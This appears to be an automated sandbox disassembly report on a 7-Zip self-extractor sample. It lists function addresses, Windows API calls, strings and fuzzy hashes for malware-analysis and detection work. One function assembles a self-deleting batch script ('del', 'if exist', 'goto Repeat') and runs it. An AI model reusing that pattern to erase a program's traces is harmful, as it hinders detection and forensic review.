Instruction ID: c4a1d47ac56633071a1bd2db01059e5edb54ffe0bccc65637149caefe5d2277b
Opcode Fuzzy Hash: cb1a116a375c0276f3cc47ebae34f017b071fc5c88c5a353f484599fe5934efa
Instruction Fuzzy Hash: 8EA18A71910219ABDF04EFA1CC46DEEBB79EF44705F50442AF502B71A1EB79AA81CB18

Function 00401F9D Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 150stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000020,?), ref: 00401FEC
wsprintfW.USER32 ref: 00401FFD
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00402012
GetLastError.KERNEL32 ref: 00402017
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402032
GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402045
GetLastError.KERNEL32 ref: 0040204C
lstrcmpiW.KERNEL32(00000000,00000020), ref: 00402061
??3@YAXPAX@Z.MSVCRT(00000000), ref: 00402071
??3@YAXPAX@Z.MSVCRT(00000020), ref: 0040208F
SetLastError.KERNEL32(00000000), ref: 00402098
lstrlenA.KERNEL32(00413FD0), ref: 004020CC
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004020E7
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00402119
_wtol.MSVCRT ref: 0040212A
MultiByteToWideChar.KERNEL32(00000000,00413FD0,00000001,00000000,00000002), ref: 0040214A

Strings

7zSfxString%d, xrefs: 00401FF7
XpA, xrefs: 00401FB4
\3A, xrefs: 00401FDB

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: 7zSfxString%d$XpA$\3A
API String ID: 2117570002-3108448011
Opcode ID: 548ade176c921e3c89d1731ce67e310a71d7e7a73203bdbbb6ff14cd1b9bb65a
Instruction ID: 5c0681f152172bce6659d4e02be164ba9bb36eab7c70e8d4f1a0ed4420d73572
Opcode Fuzzy Hash: 548ade176c921e3c89d1731ce67e310a71d7e7a73203bdbbb6ff14cd1b9bb65a
Instruction Fuzzy Hash: 11518471604305AFDB209F74DD899DBBBB9EB08345B11407AF646E62E0E774AA44CB18

Function 00401BDF Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00401BEA
FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 00401C07
FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 00401C1B
SizeofResource.KERNEL32(00000000,00000000), ref: 00401C2C
LoadResource.KERNEL32(00000000,00000000), ref: 00401C36
LockResource.KERNEL32(00000000), ref: 00401C41
LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 00401C6D
GetProcAddress.KERNEL32(00000000), ref: 00401C76
wsprintfW.USER32 ref: 00401C95
LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 00401CAA
GetProcAddress.KERNEL32(00000000), ref: 00401CAD

Strings

%04X%c%04X%c, xrefs: 00401C8F
SetThreadPreferredUILanguages, xrefs: 00401CA4
SetProcessPreferredUILanguages, xrefs: 00401C58
kernel32, xrefs: 00401C5D, 00401C62, 00401CA9

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
API String ID: 2639302590-365843014
Opcode ID: a5d0d847a20e007311d4afefc35bdd0d1043cb70ace8406c3a5a944bd10805b9
Instruction ID: 1b367ad183524107b1556f539f271e2bfa11f4d2ebd4ebc35158efee647c5c94
Opcode Fuzzy Hash: a5d0d847a20e007311d4afefc35bdd0d1043cb70ace8406c3a5a944bd10805b9
Instruction Fuzzy Hash: 002153B1944318BBDB109FA59D48F9B7FBCEB48751F118036FA05B72D1D678DA008BA8

Function 00407776 Relevance: 16.6, APIs: 11, Instructions: 96stringwindowCOMMON

Download Yara Rule

APIs

wvsprintfW.USER32(?,00000000,?), ref: 0040779A
GetLastError.KERNEL32(?,00000000,0000FDE9), ref: 004077AB
FormatMessageW.KERNEL32(00001100,00000000,00000000,00402A50,00402A50,00000000,00000000,?,00000000,0000FDE9), ref: 004077D3
FormatMessageW.KERNEL32(00001100,00000000,00402A50,00000000,00402A50,00000000,00000000,?,00000000,0000FDE9), ref: 004077E8
lstrlenW.KERNEL32(?,?,00000000,0000FDE9), ref: 004077FB
lstrlenW.KERNEL32(00402A50,?,00000000,0000FDE9), ref: 00407802
??2@YAPAXI@Z.MSVCRT(00000000,?,00000000,0000FDE9), ref: 00407817
lstrcpyW.KERNEL32(00000000,?,?,00000000,0000FDE9), ref: 0040782D
lstrcpyW.KERNEL32(-00000002,00402A50,?,00000000,0000FDE9), ref: 0040783E
??3@YAXPAX@Z.MSVCRT(00000000,00000000,?,00000000,0000FDE9), ref: 00407847
LocalFree.KERNEL32(00402A50,?,00000000,0000FDE9), ref: 00407851

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 829399097-0
Opcode ID: a8862aa27d5a6cc2b1ba12d709e13e5df444902fd3bed4afc67f02113c073308
Instruction ID: 98041b7e574f1f1c61a73cce3db0a13ad597614178cae5aaf21d0c5f67190c53
Opcode Fuzzy Hash: a8862aa27d5a6cc2b1ba12d709e13e5df444902fd3bed4afc67f02113c073308
Instruction Fuzzy Hash: 85218172804209BEDF14AFA0DC85CEB7BACEB04355B10847BF506A7150EB34EE848BA4

Function 00402B79 Relevance: 16.6, APIs: 11, Instructions: 90filestringCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,00413454,?,?,?,00000000), ref: 00402BA8
lstrcmpW.KERNEL32(?,00413450,?,0000005C,?,?,?,00000000), ref: 00402BFB
lstrcmpW.KERNEL32(?,00413448,?,?,00000000), ref: 00402C11
SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?,?,?,00000000), ref: 00402C27
DeleteFileW.KERNEL32(?,?,?,00000000), ref: 00402C2E
FindNextFileW.KERNEL32(00000000,00000010,?,?,00000000), ref: 00402C40
FindClose.KERNEL32(00000000,?,?,00000000), ref: 00402C4F
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 00402C5A
RemoveDirectoryW.KERNEL32(?,?,?,00000000), ref: 00402C63
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 00402C6E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 00402C79

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 1862581289-0
Opcode ID: 3adc14f40e23b1cdad4e4199877390cf68653eec517b691feb080405b1435fa2
Instruction ID: 7ffcf375551190f92b7aba4ef5ef3cd4ed0286f9dec59b0789af02bc25bdcc12
Opcode Fuzzy Hash: 3adc14f40e23b1cdad4e4199877390cf68653eec517b691feb080405b1435fa2
Instruction Fuzzy Hash: A321A230500209BAEB10AF61DE4CFBF7B7C9B0470AF14417AB505B11E0EB78DB459A6C

Function 00406D5D Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme,?,00407F57,000004B1,00000000,?,?,?,?,?,0040803E), ref: 00406D65
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00406D76
GetWindow.USER32(?,00000005), ref: 00406D8F
GetWindow.USER32(00000000,00000002), ref: 00406DA5

Strings

SetWindowTheme, xrefs: 00406D70
\EA, xrefs: 00406D98
uxtheme, xrefs: 00406D5E

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: Window$AddressLibraryLoadProc
String ID: SetWindowTheme$\EA$uxtheme
API String ID: 324724604-1613512829
Opcode ID: 249f97bdfab0f17876e9996a58034084f131abf1d363e9cca7f48feb82d9f298
Instruction ID: f2e0bdee1e376373ef12be0a37c87caa708c4cf78f5ebad58458586032015049
Opcode Fuzzy Hash: 249f97bdfab0f17876e9996a58034084f131abf1d363e9cca7f48feb82d9f298
Instruction Fuzzy Hash: 47F0A73274172537C6312A6A6C4CF9B6B9C9FC6B51B070176B905F7280DA6CCD0045BC

Function 0041022D Relevance: .5, Instructions: 501COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff1f75169f88eb9072603f867e1b9c380318d13f71256e892471df4b1a5f26b0
Instruction ID: 2cf66fefa79674a345482580870fbecf2b771b639b37e27eb1fc897e4fc9b441
Opcode Fuzzy Hash: ff1f75169f88eb9072603f867e1b9c380318d13f71256e892471df4b1a5f26b0
Instruction Fuzzy Hash: 44126E31E00129DFDF08CF68C6945ECBBB2EF85345F2585AAD856AB280D6749EC1DF84

Function 0041206B Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2407533f79ef22d8e6d794d98aef535f9904e2ced6ea7e6753812806be966d
Instruction ID: 8743f1180a29be23716da9caa70fae7f7856ace610ba4dfa2102d12747f13ae8
Opcode Fuzzy Hash: 6e2407533f79ef22d8e6d794d98aef535f9904e2ced6ea7e6753812806be966d
Instruction Fuzzy Hash: D12129725104255BC711DF1DE8887B7B3E1FFC4319F678A36DA81CB281C629D894C6A0

Function 00411F91 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a91e830b051fd3563903b3b4c558af91fd9d6843125d3e1887e1db665648e344
Instruction ID: 7cc7f0f00d3fdf34bc0739e2af2c3edfb6ca911da6c9eaecf720caf4c907201e
Opcode Fuzzy Hash: a91e830b051fd3563903b3b4c558af91fd9d6843125d3e1887e1db665648e344
Instruction Fuzzy Hash: 0621F53290062587CB12CE6EE4845A7F392FBC436AF134727EE84A3291C62CA855C6A0

Function 0040D72E Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde32e57196543c58229ec3a92fed9e80e5316f67d8377c6540d091cf30b3fc0
Instruction ID: 0032c0c3dd355d3b1328166acc4be040b7821e5e83bc1fe28c274bced218c28f
Opcode Fuzzy Hash: dde32e57196543c58229ec3a92fed9e80e5316f67d8377c6540d091cf30b3fc0
Instruction Fuzzy Hash: 4EF074B5A05209EFCB09CFA9C49199EFBF5FF48304B1084A9E819E7350E731AA11CF50

Function 00404AFF Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 144fileCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,?,?), ref: 00404B46
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00404B77
WriteFile.KERNEL32(004177C4,?,?,00406437,00000000,del ",:Repeat,00000000), ref: 00404C2C
??3@YAXPAX@Z.MSVCRT(?), ref: 00404C37
CloseHandle.KERNEL32(004177C4), ref: 00404C40
SetFileAttributesW.KERNEL32(00406437,00000000), ref: 00404C57
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00404C69
??3@YAXPAX@Z.MSVCRT(?), ref: 00404C72
??3@YAXPAX@Z.MSVCRT(?), ref: 00404C7E
??3@YAXPAX@Z.MSVCRT(00406437,?), ref: 00404C84
??3@YAXPAX@Z.MSVCRT(00406437,?,?,?,?,?,?,?,?,?,?,?,?,?,00406437,004177C4), ref: 00404CB2

Strings

:Repeat, xrefs: 00404B92
open, xrefs: 00404C63
" goto Repeat, xrefs: 00404BE0
7ZSfx%03x.cmd, xrefs: 00404B58
", xrefs: 00404BB9, 00404BBE, 00404C02
del ", xrefs: 00404B9F, 00404BA4, 00404BED
if exist ", xrefs: 00404BC7

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@$File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
API String ID: 3007203151-3467708659
Opcode ID: 867eebb51e1b750364ee620a5f1ec15cba4384e9a655442323ea2c3f34152715
Instruction ID: 7a4c4b622d76ac6c1822c64a370ea4e05d699ec4102568342bfcf68b8c9639ad
Opcode Fuzzy Hash: 867eebb51e1b750364ee620a5f1ec15cba4384e9a655442323ea2c3f34152715
Instruction Fuzzy Hash: DE416171D01119BADB00EBA5ED85DEEBB78EF44358F50803AF511720E1EB78AE85CB58

Function 00404603 Relevance: 35.2, APIs: 3, Strings: 17, Instructions: 207stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,0041442C,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004046DF

Part of subcall function 00401F9D: GetLastError.KERNEL32(00000000,00000020,?), ref: 00401FEC
Part of subcall function 00401F9D: wsprintfW.USER32 ref: 00401FFD
Part of subcall function 00401F9D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00402012
Part of subcall function 00401F9D: GetLastError.KERNEL32 ref: 00402017
Part of subcall function 00401F9D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402032
Part of subcall function 00401F9D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402045
Part of subcall function 00401F9D: GetLastError.KERNEL32 ref: 0040204C
Part of subcall function 00401F9D: lstrcmpiW.KERNEL32(00000000,00000020), ref: 00402061
Part of subcall function 00401F9D: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00402071
Part of subcall function 00401F9D: SetLastError.KERNEL32(00000000), ref: 00402098
Part of subcall function 00401F9D: lstrlenA.KERNEL32(00413FD0), ref: 004020CC
Part of subcall function 00401F9D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004020E7
Part of subcall function 00401F9D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00402119

_wtol.MSVCRT ref: 004047DC
_wtol.MSVCRT ref: 004047F8

Strings

GUIFlags, xrefs: 0040473E, 00404743, 0040475F
ExtractDialogText, xrefs: 004047AD
CancelPrompt, xrefs: 00404831
ExtractCancelText, xrefs: 004047A1
ExtractPathWidth, xrefs: 004047E5
ExtractPathTitle, xrefs: 00404801
Progress, xrefs: 004046C7
MiscFlags, xrefs: 00404771, 00404776, 00404792
GUIMode, xrefs: 004046F4
ExtractTitle, xrefs: 004046AF
ExtractPathText, xrefs: 00404819
OverwriteMode, xrefs: 00404721
Title, xrefs: 00404611
ExtractDialogWidth, xrefs: 004047BE
|wA, xrefs: 0040464B
ErrorTitle, xrefs: 0040467F
WarningTitle, xrefs: 00404697

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ErrorLast$??2@EnvironmentVariable_wtollstrcmpi$??3@InfoLocalelstrlenwsprintf
String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$Progress$Title$WarningTitle$|wA
API String ID: 2725485552-3187639848
Opcode ID: 7a70c90a09e6339ceb99db9b5511794fba0efbdd365b8bdd8dc3dc4b6a1705ac
Instruction ID: a5d789275b7dd46d140941e9fd319bf554fc7ea6ad5da08365fcb0f0a182a74d
Opcode Fuzzy Hash: 7a70c90a09e6339ceb99db9b5511794fba0efbdd365b8bdd8dc3dc4b6a1705ac
Instruction Fuzzy Hash: 4251B5F1A402047EDB10BB619D86EFF36ACDA85308B64443BF904F32C1E6BC5E854A6D

Function 00402DC0 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 123windowlibrarystringCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00402DD3
lstrcmpiA.KERNEL32(?,STATIC), ref: 00402DE6
GetWindowLongW.USER32(?,000000F0), ref: 00402DF3

Part of subcall function 00402D7D: GetWindowTextLengthW.USER32(?), ref: 00402D8E
Part of subcall function 00402D7D: GetWindowTextW.USER32(00402E07,00000000,00000001), ref: 00402DAB

Part of subcall function 00401A85: CharUpperW.USER32(?,7591E0B0,00000000,00000000,?,?,?,00403DBD,00000002), ref: 00401AC3
Part of subcall function 00401A85: CharUpperW.USER32(?,?,?,?,00403DBD,00000002), ref: 00401ACF

??3@YAXPAX@Z.MSVCRT(?), ref: 00402E20
GetParent.USER32(?), ref: 00402E2E
LoadLibraryA.KERNEL32(riched20), ref: 00402E42
GetMenu.USER32(?), ref: 00402E55
SetThreadLocale.KERNEL32(00000419), ref: 00402E62
CreateWindowExW.USER32(00000000,RichEdit20W,0041335C,50000804,?,?,?,?,?,00000000,00000000,00000000), ref: 00402E92
DestroyWindow.USER32(?), ref: 00402EA3
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 00402EB8
GetSysColor.USER32(0000000F), ref: 00402EBC
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00402ECA
SendMessageW.USER32(00000000,00000461,?,?), ref: 00402EF5
??3@YAXPAX@Z.MSVCRT(?), ref: 00402EFA
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00402F02

Strings

STATIC, xrefs: 00402DDD
riched20, xrefs: 00402E3D
{\rtf, xrefs: 00402E09
RichEdit20W, xrefs: 00402E8C

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: Window$??3@MessageSend$CharTextUpper$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 1731037045-2281146334
Opcode ID: 2b38b22499d69b5ca28c01525db5cb238b78fd2564d1ef548c56061806c72a13
Instruction ID: c7c9ca1f65d7473fe19c29f8272bdbb18bb8b251efb89c9ee4785ec66c96c850
Opcode Fuzzy Hash: 2b38b22499d69b5ca28c01525db5cb238b78fd2564d1ef548c56061806c72a13
Instruction Fuzzy Hash: FE316072A40119BFDB01AFA5DD49DEF7BBCEF08745F104036F601B21D1DA789A008B68

Function 00401CC8 Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 00401CD4
GetDeviceCaps.GDI32(00000000,00000058), ref: 00401CE0
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 00401CF9
GetObjectW.GDI32(?,00000018,?), ref: 00401D28
MulDiv.KERNEL32(?,00000003,00000002), ref: 00401D33
MulDiv.KERNEL32(?,00000003,00000002), ref: 00401D3D
CreateCompatibleDC.GDI32(?), ref: 00401D4B
CreateCompatibleDC.GDI32(?), ref: 00401D52
SelectObject.GDI32(00000000,?), ref: 00401D60
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00401D6E
SelectObject.GDI32(00000000,00000000), ref: 00401D76
SetStretchBltMode.GDI32(00000000,00000004), ref: 00401D7E
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 00401D9D
GetCurrentObject.GDI32(00000000,00000007), ref: 00401DA6
SelectObject.GDI32(00000000,?), ref: 00401DB3
SelectObject.GDI32(00000000,?), ref: 00401DB9
DeleteDC.GDI32(00000000), ref: 00401DC2
DeleteDC.GDI32(00000000), ref: 00401DC5
ReleaseDC.USER32(00000000,?), ref: 00401DCC
ReleaseDC.USER32(00000000,?), ref: 00401DDB
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: edcdae41b00ef410d3e7ba3ed19d3c131e86ad83f2f2f2d47359cb6bb3a71bdf
Instruction ID: 24730f8ff9b6a3f8d7f0600a39c6f646a54ca28d21b12e05547a6914d757f366
Opcode Fuzzy Hash: edcdae41b00ef410d3e7ba3ed19d3c131e86ad83f2f2f2d47359cb6bb3a71bdf
Instruction Fuzzy Hash: 00313976D00208BBDF215FA19C48EEFBFBDEB48752F108066F604B21A0C6758A50EB64

Function 00401DF3 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON

